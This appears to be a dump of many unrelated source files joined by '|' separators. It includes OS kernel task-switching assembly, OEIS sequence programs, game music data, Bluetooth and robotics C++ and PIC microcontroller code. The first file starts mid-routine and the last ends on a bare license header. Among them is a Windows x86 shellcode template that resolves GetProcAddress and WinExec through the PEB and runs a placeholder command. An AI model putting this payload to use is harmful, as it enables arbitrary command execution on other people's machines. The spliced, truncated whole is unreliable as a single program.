shl eax, 8 ; mul 256
add eax, [task_structure]
test word[eax], TASK_PRESENT
jz .done
inc [.pid]
jmp .loop
.done:
mov edi, eax
mov eax, 0
mov ecx, TASK_SIZE
rep stosb
mov eax, [.pid]
ret
.no:
mov eax, -1
ret
.pid dd 0
; create_task_memory:
; Creates a task from memory
; In\ EDX = Entry point
; Out\ EAX = PID
create_task_memory:
mov [.entry], edx
call get_free_task
cmp eax, -1
je .no
mov [.pid], eax
; allocate a stack ;)
mov ecx, TASK_STACK
call malloc
add eax, TASK_STACK
mov [.stack], eax
; create the task structure
mov edi, [.pid]
shl edi, 8 ; mul 256
add edi, [task_structure]
mov word[edi], TASK_PRESENT
mov ax, [current_task]
mov [edi+TASK_PARENT], ax
mov eax, [.entry]
mov [edi+TASK_EIP], eax
mov dword[edi+TASK_EFLAGS], 0x202
mov eax, [.stack]
mov [edi+TASK_ESP], eax
; ready ;)
inc [running_tasks]
mov eax, [.pid]
ret
.no:
mov eax, -1
ret
.entry dd 0
.pid dd 0
.stack dd 0
; yield:
; Gives control to the next task
align 32
yield:
cli ; sensitive area of code! ;)
cmp [running_tasks], 1
jle .idle
cmp [current_task], 0 ; if we're not running the idle task --
jne .save_state ; -- then we need to save the task's EIP, stack and EFLAGS
.next:
inc [current_task]
.loop:
movzx eax, [current_task]
cmp eax, MAXIMUM_TASKS
jge .idle
shl eax, 8
add eax, [task_structure]
test word[eax], TASK_PRESENT
jz .next
; Map the task in memory
push eax
mov ebp, eax ; EBP = task information
mov eax, TASK_LOAD_ADDR
mov ebx, [ebp+TASK_PMEM_BASE]
mov ecx, [ebp+TASK_MEM_SIZE]
mov dl, PAGE_PRESENT OR PAGE_WRITEABLE OR PAGE_USER
call vmm_map_memory
pop eax ; EAX = task information
; Execute this task in ring 3
mov dx, 0x23
mov ds, dx
mov es, dx
mov fs, dx
mov gs, dx
push 0x23 ; SS
mov edx, [eax+TASK_ESP]
push edx ; ESP
mov edx, [eax+TASK_EFLAGS]
or edx, 0x202
push edx ; EFLAGS
push 0x1B ; CS
mov edx, [eax+TASK_EIP]
push edx ; EIP
iret
.save_state:
;add esp, 4
movzx eax, [current_task]
shl eax, 8
add eax, [task_structure]
mov edx, [esp+4] ; eip
mov [eax+TASK_EIP], edx
mov edx, [esp+4+IRET_ESP] ; esp
mov [eax+TASK_ESP], edx
mov edx, [esp+4+IRET_EFLAGS] ; eflags
mov [eax+TASK_EFLAGS], edx
;sub esp, 4 ; restore stack
; unmap the current task for the virtual address space
mov ecx, [eax+TASK_MEM_SIZE] ; memory size in pages
mov eax, TASK_LOAD_ADDR
call vmm_unmap_memory
jmp .next
.idle:
mov [current_task], 0
add esp, 4 ; clean up the stack
jmp idle_process ; if no processes are running, keep the CPU usage low
; create_task:
; Creates a task from a file
; In\ ESI = Filename
; Out\ EAX = PID, or error code (-1 = no memory/free tasks, -2 = file read error, -3 = corrupt program)
create_task:
mov [.filename], esi
call get_free_task
cmp eax, -1
je .no_memory
mov [.pid], eax
; allocate a stack
mov ecx, TASK_STACK
call malloc
add eax, TASK_STACK
mov [.stack], eax
; open the file
mov esi, [.filename]
mov edx, FILE_READ
call vfs_open
cmp eax, -1
je .file_error
mov [.handle], eax
; get file size
mov eax, [.handle]
mov ebx, SEEK_END
mov ecx, 0
call vfs_seek
cmp eax, 0
jne .file_error
mov eax, [.handle]
call vfs_tell
cmp eax, -1
je .file_error
mov [.file_size], eax
mov eax, [.handle]
mov ebx, SEEK_SET
mov ecx, 0
call vfs_seek
cmp eax, 0
jne .file_error
; convert the file size to pages
mov ecx, [.file_size]
add ecx, 4095
shr ecx, 12
mov [.pages], ecx
call pmm_alloc
cmp eax, 0
je .no_memory
mov [.memory], eax
mov eax, TASK_LOAD_ADDR
mov ebx, [.memory]
mov ecx, [.pages]
mov dl, PAGE_PRESENT OR PAGE_WRITEABLE OR PAGE_USER
call vmm_map_memory
mov eax, [.handle]
mov edi, TASK_LOAD_ADDR
mov ecx, [.file_size]
call vfs_read
cmp eax, [.file_size]
jne .file_error
mov eax, [.handle]
call vfs_close
; verify the program is valid
mov esi, TASK_LOAD_ADDR
cmp dword[esi], "XOS1"
jne .corrupt
cmp dword[esi+PROGRAM_TYPE], PROGRAM_FILE
jne .corrupt
mov eax, [esi+PROGRAM_ENTRY]
mov [.entry], eax
; create the task structure
mov edi, [.pid]
shl edi, 8 ; mul 256
add edi, [task_structure]
mov word[edi], TASK_PRESENT
mov ax, [current_task]
mov [edi+TASK_PARENT], ax
mov eax, [.entry]
mov [edi+TASK_EIP], eax
mov dword[edi+TASK_EFLAGS], 0x202
mov eax, [.stack]
mov [edi+TASK_ESP], eax
mov eax, [.memory]
mov [edi+TASK_PMEM_BASE], eax
mov eax, [.pages]
mov [edi+TASK_MEM_SIZE], eax
add edi, TASK_FILENAME
push edi
mov esi, [.filename]
call strlen
mov ecx, eax
pop edi
rep movsb
xor al, al
stosb
; ready ;)
cmp [current_task], 0 ; idle
je .finish
mov eax, TASK_LOAD_ADDR
mov ecx, [.pages]
call vmm_unmap_memory
movzx ebp, [current_task]
shl ebp, 8
add ebp, [task_structure]
mov eax, TASK_LOAD_ADDR
mov ebx, [ebp+TASK_PMEM_BASE]
mov ecx, [ebp+TASK_MEM_SIZE]
mov dl, PAGE_PRESENT OR PAGE_WRITEABLE OR PAGE_USER
call vmm_map_memory
.finish:
inc [running_tasks]
mov eax, [.pid]
ret
.no_memory:
mov esi, .no_memory_msg
call kprint
mov eax, -1
ret
.file_error:
mov esi, .file_error_msg
call kprint
mov eax, -2
ret
.corrupt:
mov esi, .corrupt_msg
call kprint
mov eax, -3
ret
.entry dd 0
.filename dd 0
.pid dd 0
.stack dd 0
.handle dd 0
.file_size dd 0
.pages dd 0
.memory dd 0
.no_memory_msg db "load error: Insufficient memory to start program.",10,0
.file_error_msg db "load error: Unable to read program file.",10,0
.corrupt_msg db "load error: Program file is corrupt.",10,0
; terminate:
; Terminates the current task
terminate:
movzx eax, [current_task] ; simply kill the current task ;)
call kill_task
add esp, 4
jmp idle_process
; kill_task:
; Kills a task
; In\ EAX = PID
; Out\ Nothing
kill_task:
cmp eax, MAXIMUM_TASKS
jge .finish
mov [.task], eax
; verify the task even exists
shl eax, 8
add eax, [task_structure]
test word[eax+TASK_STATE], TASK_PRESENT
jz .finish
; clean up after the task by killing any windows created by it
mov [.window_handle], 0
.loop:
cmp [.window_handle], MAXIMUM_WINDOWS
jge .kill_task
mov edi, [.window_handle]
shl edi, 7
add edi, [window_handles]
test dword[edi+WINDOW_FLAGS], WM_PRESENT
jz .next_window
mov eax, [.task]
cmp [edi+WINDOW_PID], eax
je .kill_window
.next_window:
inc [.window_handle]
jmp .loop
.kill_window:
mov eax, [.window_handle]
call wm_kill
jmp .next_window
.kill_task:
mov edi, [.task]
shl edi, 8
add edi, [task_structure]
push edi ; edi = task information
mov eax, [edi+TASK_PMEM_BASE]
mov ecx, [edi+TASK_MEM_SIZE]
call pmm_free ; free the task's memory
pop edi
xor al, al
mov ecx, TASK_SIZE
rep stosb
dec [running_tasks]
mov [current_task], 0
.finish:
ret
align 4
.task dd 0
.window_handle dd 0
; kill_all:
; Kills all running tasks
kill_all:
mov [.current_task], 1 ; don't kill the idle task
.loop:
cmp [.current_task], MAXIMUM_TASKS
jge .done
mov eax, [.current_task]
call kill_task
inc [.current_task]
jmp .loop
.done:
ret
align 4
.current_task dd 0
;
; struct user_task_info
; {
; u16 state;
; u16 parent_pid;
; u32 program_memory;
; u8 filename[32];
; }
;
; enum_tasks:
; Enumerates tasks
; In\ AX = PID of task
; In\ EDI = Pointer to structure to save task's info (in the table above)
; Out\ EAX = 0 on success, EDI filled with information
; Out\ EBX = PID of next available task that can be enumerated, 0 on end of tasks
; Out\ ECX = Number of running tasks, including idle
enum_tasks:
cmp ax, MAXIMUM_TASKS
jge .error
mov [.buffer], edi
mov [.pid], ax
and eax, 0xFFFF
shl eax, 8 ; mul 256
add eax, [task_structure]
; copy the state of the task
mov edi, [.buffer]
mov dx, [eax+TASK_STATE]
test dx, TASK_PRESENT
jz .error
mov word[edi], dx
mov dx, [eax+TASK_PARENT]
mov word[edi+2], dx
mov edx, [eax+TASK_MEM_SIZE] ; pages
shl edx, 12 ; bytes
mov dword[edi+4], edx
; copy the filename
mov esi, eax
add esi, TASK_FILENAME
call strlen
mov ecx, eax
mov edi, [.buffer]
add edi, 8
rep movsb
xor al, al
stosb
.find_next_task:
movzx eax, [.pid]
cmp eax, MAXIMUM_TASKS-1
jge .end_of_tasks
inc eax
mov [.pid], ax
.find_next_task_loop:
movzx eax, [.pid]
cmp eax, MAXIMUM_TASKS
jge .end_of_tasks
shl eax, 8 ; mul 256
add eax, [task_structure]
test word[eax+TASK_STATE], TASK_PRESENT
jnz .found_next_task
inc [.pid]
jmp .find_next_task_loop
.found_next_task:
mov eax, 0 ; success
movzx ebx, [.pid] ; next PID
movzx ecx, [running_tasks] ; task count
ret
.end_of_tasks:
mov eax, 0
mov ebx, 0
movzx ecx, [running_tasks]
ret
.error:
mov eax, 1
mov ebx, 0
movzx ecx, [running_tasks]
ret
align 4
.buffer dd 0
.pid dw 0
|
; A005369: a(n) = 1 if n is of the form m(m+1), else 0.
; 1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0
lpb $0
sub $2,2
add $0,$2
lpe
bin $1,$0
mov $0,$1
|
song395restored_pri equ 100
song395restored_rev equ 0
song395restored_mvl equ 127
song395restored_key equ 0
song395restored_tbs equ 1
song395restored_exg equ 0
song395restored_cmp equ 1
.align 4
;**************** Track 1 (Midi-Chn.7) ****************;
@song395restored_1:
.byte TEMPO , 66
.byte KEYSH , song395restored_key+0
; 000 ----------------------------------------
.byte VOICE , 11
.byte PAN , c_v+63
.byte VOL , 47*song395restored_mvl/mxv
.byte PAN , c_v+63
.byte VOL , 47*song395restored_mvl/mxv
.byte PAN , c_v+63
.byte VOL , 47*song395restored_mvl/mxv
.byte BEND , c_v-1
.byte W09
.byte VOL , 47*song395restored_mvl/mxv
.byte PAN , c_v+63
.byte BEND , c_v-1
.byte N03 , DsM1, v100
.byte W05
.byte FsM1
.byte W05
.byte AnM1
.byte W05
.byte Cn0
.byte W04
.byte Ds0
.byte W05
.byte Fs0
.byte W05
.byte An0
.byte W05
.byte Cn1
.byte W05
.byte Ds1
.byte W04
.byte Fs1
.byte W05
.byte An1
.byte W05
.byte Cn2
.byte W05
.byte Ds2
.byte W05
.byte Fs2
.byte W04
.byte An2
.byte W05
.byte Cn3
.byte W05
.byte FnM1
.byte W05
.byte GsM1
.byte W05
; 001 ----------------------------------------
.byte BEND , c_v+0
.byte N03 , AsM1
.byte W04
.byte BEND , c_v-1
.byte N03 , Dn0
.byte W05
.byte Fn0
.byte W05
.byte Gs0
.byte W05
.byte Bn0
.byte W05
.byte Dn1
.byte W04
.byte Fn1
.byte W05
.byte Gs1
.byte W05
.byte Bn1
.byte W05
.byte Dn2
.byte W05
.byte Fn2
.byte W04
.byte Gs2
.byte W05
.byte Bn2
.byte W05
.byte Dn3
.byte W04
.byte VOL , 0*song395restored_mvl/mxv
.byte PAN , c_v-64
.byte W30
; 002 ----------------------------------------
.byte VOICE , 11
.byte BEND , c_v-1
.byte FINE
;**************** Track 2 (Midi-Chn.8) ****************;
@song395restored_2:
.byte KEYSH , song395restored_key+0
; 000 ----------------------------------------
.byte VOICE , 11
.byte PAN , c_v-64
.byte VOL , 54*song395restored_mvl/mxv
.byte 54*song395restored_mvl/mxv
.byte 54*song395restored_mvl/mxv
.byte PAN , c_v-64
.byte VOL , 54*song395restored_mvl/mxv
.byte 54*song395restored_mvl/mxv
.byte PAN , c_v-64
.byte VOL , 54*song395restored_mvl/mxv
.byte BEND , c_v+0
.byte N03 , DsM1, v100
.byte W04
.byte FsM1
.byte W05
.byte AnM1
.byte W05
.byte Cn0
.byte W05
.byte Ds0
.byte W05
.byte Fs0
.byte W04
.byte An0
.byte W05
.byte BEND , c_v+0
.byte N03 , Cn1
.byte W05
.byte BEND , c_v+0
.byte N03 , Ds1
.byte W05
.byte Fs1
.byte W05
.byte BEND , c_v+0
.byte N03 , An1
.byte W04
.byte Cn2
.byte W05
.byte Ds2
.byte W05
.byte Fs2
.byte W05
.byte An2
.byte W05
.byte Cn3
.byte W04
.byte BEND , c_v+0
.byte N03 , FnM1
.byte W05
.byte GsM1
.byte W05
.byte BnM1
.byte W05
.byte Dn0
.byte W05
; 001 ----------------------------------------
.byte Fn0
.byte W04
.byte Gs0
.byte W05
.byte Bn0
.byte W05
.byte Dn1
.byte W05
.byte BEND , c_v+0
.byte N03 , Fn1
.byte W05
.byte BEND , c_v+0
.byte N03 , Gs1
.byte W04
.byte BEND , c_v+0
.byte N03 , Bn1
.byte W05
.byte Dn2
.byte W05
.byte Fn2
.byte W05
.byte Gs2
.byte W05
.byte Bn2
.byte W04
.byte Dn3
.byte W04
.byte VOL , 0*song395restored_mvl/mxv
.byte W36
.byte W03
.byte 54*song395restored_mvl/mxv
.byte PAN , c_v-64
.byte BEND , c_v+0
.byte W01
; 002 ----------------------------------------
.byte VOICE , 11
.byte BEND , c_v+0
.byte FINE
;******************************************************;
.align 4
song395restored:
.byte 2 ; NumTrks
.byte 0 ; NumBlks
.byte song395restored_pri ; Priority
.byte song395restored_rev ; Reverb.
//emit_clean_voicegroup_offset_for_song 395
.word 0x81071B4 //Voice Table
.word @song395restored_1
.word @song395restored_2
|
; A135668: a(n) = ceiling(n + sqrt(n)).
; 2,4,5,6,8,9,10,11,12,14,15,16,17,18,19,20,22,23,24,25,26,27,28,29,30,32,33,34,35,36,37,38,39,40,41,42,44,45,46,47,48,49,50,51,52,53,54,55,56,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266
mov $1,$0
add $1,2
lpb $0,1
sub $0,3
trn $0,$2
add $1,1
add $2,2
lpe
|
; Modified by Yao Wei Tjong for Urho3D
.code
; procedure exec_cpuid
; Signature: void exec_cpuid(uint32_t *regs)
exec_cpuid Proc
push rbx
push rcx
push rdx
push rdi
mov rdi, rcx
mov eax, [rdi]
mov ebx, [rdi+4]
mov ecx, [rdi+8]
mov edx, [rdi+12]
cpuid
mov [rdi], eax
mov [rdi+4], ebx
mov [rdi+8], ecx
mov [rdi+12], edx
pop rdi
pop rdx
pop rcx
pop rbx
ret
exec_cpuid endp
; procedure cpu_rdtsc
; Signature: void cpu_rdtsc(uint64_t *result)
cpu_rdtsc Proc
push rdx
rdtsc
mov [rcx], eax
mov [rcx+4], edx
pop rdx
ret
cpu_rdtsc endp
; Urho3D: FIXME dummy implementation
; procedure busy_sse_loop
; Signature: void busy_sse_loop(int cycles)
busy_sse_loop Proc
ret
busy_sse_loop endp
END
|
; A047225: Numbers that are congruent to {0, 1} mod 6.
; 0,1,6,7,12,13,18,19,24,25,30,31,36,37,42,43,48,49,54,55,60,61,66,67,72,73,78,79,84,85,90,91,96,97,102,103,108,109,114,115,120,121,126,127,132,133,138,139,144,145,150
mov $1,$0
div $0,2
mul $0,4
add $1,$0
|
; A195026: a(n) = 7*n*(2*n + 1).
; 0,21,70,147,252,385,546,735,952,1197,1470,1771,2100,2457,2842,3255,3696,4165,4662,5187,5740,6321,6930,7567,8232,8925,9646,10395,11172,11977,12810,13671,14560,15477,16422,17395,18396,19425,20482,21567,22680,23821,24990,26187,27412,28665,29946,31255,32592,33957,35350,36771,38220,39697,41202,42735,44296,45885,47502,49147,50820,52521,54250,56007,57792,59605,61446,63315,65212,67137,69090,71071,73080,75117,77182,79275,81396,83545,85722,87927,90160,92421,94710,97027,99372,101745,104146,106575,109032,111517,114030,116571,119140,121737,124362,127015,129696,132405,135142,137907,140700,143521,146370,149247,152152,155085,158046,161035,164052,167097,170170,173271,176400,179557,182742,185955,189196,192465,195762,199087,202440,205821,209230,212667,216132,219625,223146,226695,230272,233877,237510,241171,244860,248577,252322,256095,259896,263725,267582,271467,275380,279321,283290,287287,291312,295365,299446,303555,307692,311857,316050,320271,324520,328797,333102,337435,341796,346185,350602,355047,359520,364021,368550,373107,377692,382305,386946,391615,396312,401037,405790,410571,415380,420217,425082,429975,434896,439845,444822,449827,454860,459921,465010,470127,475272,480445,485646,490875,496132,501417,506730,512071,517440,522837,528262,533715,539196,544705,550242,555807,561400,567021,572670,578347,584052,589785,595546,601335,607152,612997,618870,624771,630700,636657,642642,648655,654696,660765,666862,672987,679140,685321,691530,697767,704032,710325,716646,722995,729372,735777,742210,748671,755160,761677,768222,774795,781396,788025,794682,801367,808080,814821,821590,828387,835212,842065,848946,855855,862792,869757
sub $1,$0
sub $1,$0
bin $1,2
mul $1,7
|
// Copyright 2016 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include <device/bluetooth/bluez/bluetooth_local_gatt_service_bluez.h>
#include "base/guid.h"
#include "base/logging.h"
#include "base/memory/ptr_util.h"
#include "base/strings/string_util.h"
#include "dbus/object_path.h"
#include "device/bluetooth/bluez/bluetooth_adapter_bluez.h"
namespace device {
// static
base::WeakPtr<BluetoothLocalGattService> BluetoothLocalGattService::Create(
BluetoothAdapter* adapter,
const BluetoothUUID& uuid,
bool is_primary,
BluetoothLocalGattService* included_service,
BluetoothLocalGattService::Delegate* delegate) {
bluez::BluetoothAdapterBlueZ* adapter_bluez =
static_cast<bluez::BluetoothAdapterBlueZ*>(adapter);
bluez::BluetoothLocalGattServiceBlueZ* service =
new bluez::BluetoothLocalGattServiceBlueZ(adapter_bluez, uuid, is_primary,
delegate);
return service->weak_ptr_factory_.GetWeakPtr();
}
} // namespace device
namespace bluez {
BluetoothLocalGattServiceBlueZ::BluetoothLocalGattServiceBlueZ(
BluetoothAdapterBlueZ* adapter,
const device::BluetoothUUID& uuid,
bool is_primary,
device::BluetoothLocalGattService::Delegate* delegate)
: BluetoothGattServiceBlueZ(
adapter,
AddGuidToObjectPath(adapter->GetApplicationObjectPath().value() +
"/service")),
uuid_(uuid),
is_primary_(is_primary),
delegate_(delegate),
weak_ptr_factory_(this) {
VLOG(1) << "Creating local GATT service with identifier: " << GetIdentifier();
adapter->AddLocalGattService(base::WrapUnique(this));
}
BluetoothLocalGattServiceBlueZ::~BluetoothLocalGattServiceBlueZ() = default;
device::BluetoothUUID BluetoothLocalGattServiceBlueZ::GetUUID() const {
return uuid_;
}
bool BluetoothLocalGattServiceBlueZ::IsPrimary() const {
return is_primary_;
}
void BluetoothLocalGattServiceBlueZ::Register(
const base::Closure& callback,
const ErrorCallback& error_callback) {
GetAdapter()->RegisterGattService(this, callback, error_callback);
}
void BluetoothLocalGattServiceBlueZ::Unregister(
const base::Closure& callback,
const ErrorCallback& error_callback) {
DCHECK(GetAdapter());
GetAdapter()->UnregisterGattService(this, callback, error_callback);
}
bool BluetoothLocalGattServiceBlueZ::IsRegistered() {
return GetAdapter()->IsGattServiceRegistered(this);
}
void BluetoothLocalGattServiceBlueZ::Delete() {
weak_ptr_factory_.InvalidateWeakPtrs();
GetAdapter()->RemoveLocalGattService(this);
}
device::BluetoothLocalGattCharacteristic*
BluetoothLocalGattServiceBlueZ::GetCharacteristic(
const std::string& identifier) {
const auto& service = characteristics_.find(dbus::ObjectPath(identifier));
return service == characteristics_.end() ? nullptr : service->second.get();
};
const std::map<dbus::ObjectPath,
std::unique_ptr<BluetoothLocalGattCharacteristicBlueZ>>&
BluetoothLocalGattServiceBlueZ::GetCharacteristics() const {
return characteristics_;
}
// static
dbus::ObjectPath BluetoothLocalGattServiceBlueZ::AddGuidToObjectPath(
const std::string& path) {
std::string GuidString = base::GenerateGUID();
base::RemoveChars(GuidString, "-", &GuidString);
return dbus::ObjectPath(path + GuidString);
}
void BluetoothLocalGattServiceBlueZ::AddCharacteristic(
std::unique_ptr<BluetoothLocalGattCharacteristicBlueZ> characteristic) {
characteristics_[characteristic->object_path()] = std::move(characteristic);
}
} // namespace bluez
|
; A234571: a(n) = 4*binomial(10*n+8,n)/(5*n+4).
; Submitted by Christian Krause
; 1,8,108,1776,32430,632016,12876864,270964320,5843355957,128462407840,2868356980060,64869895026144,1482877843096650,34207542810153216,795318309360948240,18617396126132233920,438423206616057162258,10379232525028947311160,246878659984195222962220,5897077342959707897254080,141398447282186496823438920,3402138193788460429630000080,82115383783227003964378035360,1987675097005767366629679349440,48240522609169971784189314854025,1173637386160183234973544912610560,28617459346860681658881348048588480
mov $2,$0
mul $2,9
add $2,7
add $0,$2
bin $0,$2
mul $0,24
mov $1,$2
add $1,1
div $0,$1
div $0,3
|
xor %ecx,%ecx
mov %fs:0x30(%ecx),%eax
mov 0xc(%eax),%eax
mov 0x14(%eax),%esi
lods %ds:(%esi),%eax
xchg %eax,%esi
lods %ds:(%esi),%eax
mov 0x10(%eax),%ebx
mov 0x3c(%ebx),%edx
add %ebx,%edx
mov 0x78(%edx),%edx
add %ebx,%edx
mov 0x20(%edx),%esi
add %ebx,%esi
xor %ecx,%ecx
inc %ecx
lods %ds:(%esi),%eax
add %ebx,%eax
cmpl $0x50746547,(%eax)
jne 23 <.text+0x23>
cmpl $0x41636f72,0x4(%eax)
jne 23 <.text+0x23>
cmpl $0x65726464,0x8(%eax)
jne 23 <.text+0x23>
mov 0x24(%edx),%esi
add %ebx,%esi
mov (%esi,%ecx,2),%cx
dec %ecx
mov 0x1c(%edx),%esi
add %ebx,%esi
mov (%esi,%ecx,4),%edx
add %ebx,%edx
push %ebx
push %edx
xor %ecx,%ecx
push %ecx
mov $0x61636578,%ecx
push %ecx
subl $0x61,0x3(%esp)
push $0x456e6957
push %esp
push %ebx
call *%edx
add $0x8,%esp
pop %ecx
push %eax
xor %ecx,%ecx
push %ecx
{0}
xor %ebx,%ebx
mov %esp,%ebx
xor %ecx,%ecx
inc %ecx
push %ecx
push %ebx
call *%eax
add ${1},%esp
pop %edx
pop %ebx
xor %ecx,%ecx
mov $0x61737365,%ecx
push %ecx
subl $0x61,0x3(%esp)
push $0x636f7250
push $0x74697845
push %esp
push %ebx
call *%edx
xor %ecx,%ecx
push %ecx
call *%eax |
/* +------------------------------------------------------------------------+
| Mobile Robot Programming Toolkit (MRPT) |
| https://www.mrpt.org/ |
| |
| Copyright (c) 2005-2021, Individual contributors, see AUTHORS file |
| See: https://www.mrpt.org/Authors - All rights reserved. |
| Released under BSD License. See: https://www.mrpt.org/License |
+------------------------------------------------------------------------+ */
#include "opengl-precomp.h" // Precompiled header
//
#include <mrpt/opengl/CCamera.h>
#include <mrpt/opengl/opengl_api.h>
#include <mrpt/serialization/CArchive.h>
using namespace mrpt;
using namespace mrpt::opengl;
using namespace mrpt::math;
using namespace std;
IMPLEMENTS_SERIALIZABLE(CCamera, CRenderizable, mrpt::opengl)
uint8_t CCamera::serializeGetVersion() const { return 1; }
void CCamera::serializeTo(mrpt::serialization::CArchive& out) const
{
// Save data:
out << m_pointingX << m_pointingY << m_pointingZ << m_eyeDistance
<< m_azimuthDeg << m_elevationDeg << m_projectiveModel
<< m_projectiveFOVdeg;
}
void CCamera::serializeFrom(mrpt::serialization::CArchive& in, uint8_t version)
{
switch (version)
{
case 1:
{
// Load data:
in >> m_pointingX >> m_pointingY >> m_pointingZ >> m_eyeDistance >>
m_azimuthDeg >> m_elevationDeg >> m_projectiveModel >>
m_projectiveFOVdeg;
}
break;
case 0:
{
in >> m_pointingX >> m_pointingY >> m_pointingZ >> m_eyeDistance >>
m_azimuthDeg >> m_elevationDeg;
}
break;
default: MRPT_THROW_UNKNOWN_SERIALIZATION_VERSION(version);
};
}
/** In this class, returns a fixed box (max,max,max), (-max,-max,-max). */
auto CCamera::getBoundingBox() const -> mrpt::math::TBoundingBox
{
return {
{std::numeric_limits<double>::max(), std::numeric_limits<double>::max(),
std::numeric_limits<double>::max()},
{-std::numeric_limits<double>::max(),
-std::numeric_limits<double>::max(),
-std::numeric_limits<double>::max()}};
}
|
; TODO INSERT CONFIG CODE HERE USING CONFIG BITS GENERATOR
#include "p16f15313.inc"
; CONFIG1
; __config 0xFF8F
__CONFIG _CONFIG1, _FEXTOSC_ECH & _RSTOSC_HFINT32 & _CLKOUTEN_OFF & _CSWEN_ON & _FCMEN_ON
; CONFIG2
; __config 0xF7FE
__CONFIG _CONFIG2, _MCLRE_OFF & _PWRTE_OFF & _LPBOREN_OFF & _BOREN_ON & _BORV_LO & _ZCD_OFF & _PPS1WAY_OFF & _STVREN_ON
; CONFIG3
; __config 0xFF9F
__CONFIG _CONFIG3, _WDTCPS_WDTCPS_31 & _WDTE_OFF & _WDTCWS_WDTCWS_7 & _WDTCCS_SC
; CONFIG4
; __config 0xFFFF
__CONFIG _CONFIG4, _BBSIZE_BB512 & _BBEN_OFF & _SAFEN_OFF & _WRTAPP_OFF & _WRTB_OFF & _WRTC_OFF & _WRTSAF_OFF & _LVP_ON
; CONFIG5
; __config 0xFFFF
__CONFIG _CONFIG5, _CP_OFF
STR_SIZE equ 0x0B
;-----------------------------------------------------------------------
RES_VECT CODE 0x0000 ; processor reset vector
GOTO START ; go to beginning of program
; TODO ADD INTERRUPTS HERE IF USED
;-----------------------------------------------------------------------
MAIN_PROG CODE ; let linker place main program
;-----------------------------------------------------------------------
; Configuracion del micro para la practica
START
call SETUP
; Codigo de la practica
loop_forever
call LOOP
goto loop_forever
;-----------------------------------------------------------------------
SETUP
; TODO -> Add initialization code here
BANKSEL PORTA ;
CLRF PORTA ;Init PORTA
BANKSEL LATA ;Data Latch
CLRF LATA ;
BANKSEL ANSELA ;
CLRF ANSELA ;digital I/O
BANKSEL TRISA ;
MOVLW B'00000001' ;
MOVWF TRISA ;and set R
; inicializa 'cuenta' al tamagno de 'destino'
bankisel cuenta
movlw STR_SIZE
movwf cuenta
; selecciona el banco de memoria de 'destino'
; y pon su direccion en nuestro apuntador 'FSR'
bankisel destino
movlw low destino
movwf FSR0L
movlw high destino
movwf FSR0H
limpia:
; limpia la localidad apuntada por 'indf' en 'destino'
clrf INDF0
incf FSR0, f
decfsz cuenta, f
bra limpia
return
;-----------------------------------------------------------------------
LOOP
; TODOD -> Add your program here
; inicia nuestro contador de letras a copiar
bankisel cuenta
movlw STR_SIZE
movwf cuenta
; apunta en FSR0 el lugar donde pondremos nuestro texto
movlw low destino
movwf FSR0L
movlw high destino
movwf FSR0H
; en 'temp' pondremos el indice de la letra a copiar
movlw low origen
movwf temp
copia:
; apunta la parte alta del PC -Rpogram Counter- a la direccion de 'origen'
movlw high origen
movwf PCLATH
; pon en 'W' nuestro indice 'temp'
movf temp, W
; hay tres maneras de copiar datos del area de programa *rom* a la de
; datos *ram*, aqui estamos usando el formato 'retlw K'
callw
; mueve nuestra letra a su destino apuntado por 'INDF0' accorde a la
; direccion en FSR0
movwf INDF0
; incrementa la posicion a copiar en 'destino', el indice en 'origen' y
; nuestra cuenta de caracteres a copiar (decrementandolo)
incf FSR0, f
incf temp, f
decfsz cuenta, f
bra copia
; terminamos, no regresamos a repetir la copia
goto $
done:
return
;-----------------------------------------------------------------------
; RECUERDA, Esta es una arquitectura HARVARD donde los espacios de
; memoria para programa y por lo tanto constantes como este
; texto, estan separadas de los datos!!!
;
; PREGUNTA: Porque anteponemos a cada letra un '0x34'?
; (La respuesta tiene que ver con la longitud en bits de las
; instrucciones y la tabla de instrucciones de este micro)
origen db 0x34, "H", 0x34, "e", 0x34, "l", 0x34, "l", 0x34, "o"
db 0x34, " "
db 0x34, "W", 0x34, "o", 0x34, "r", 0x34, "l", 0x34, "d"
; OBJETIVO: Al final de la practica en esta area se debera leer
; 'Hello World' en el debugger
UDATA
destino res STR_SIZE
cuenta res 1
temp res 1
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
END
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
;
; Z88 Graphics Functions - Small C+ stubs
;
; Written around the Interlogic Standard Library
;
; Stubs Written by D Morris - 30/9/98
;
;
; $Id: clg.asm,v 1.4 2015/01/19 01:32:46 pauloscustodio Exp $
;
PUBLIC clg
EXTERN swapgfxbk
EXTERN swapgfxbk1
EXTERN cleargraphics
.clg
call swapgfxbk
call cleargraphics
jp swapgfxbk1
|
/*##############################################################################
HPCC SYSTEMS software Copyright (C) 2012 HPCC Systems.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
############################################################################## */
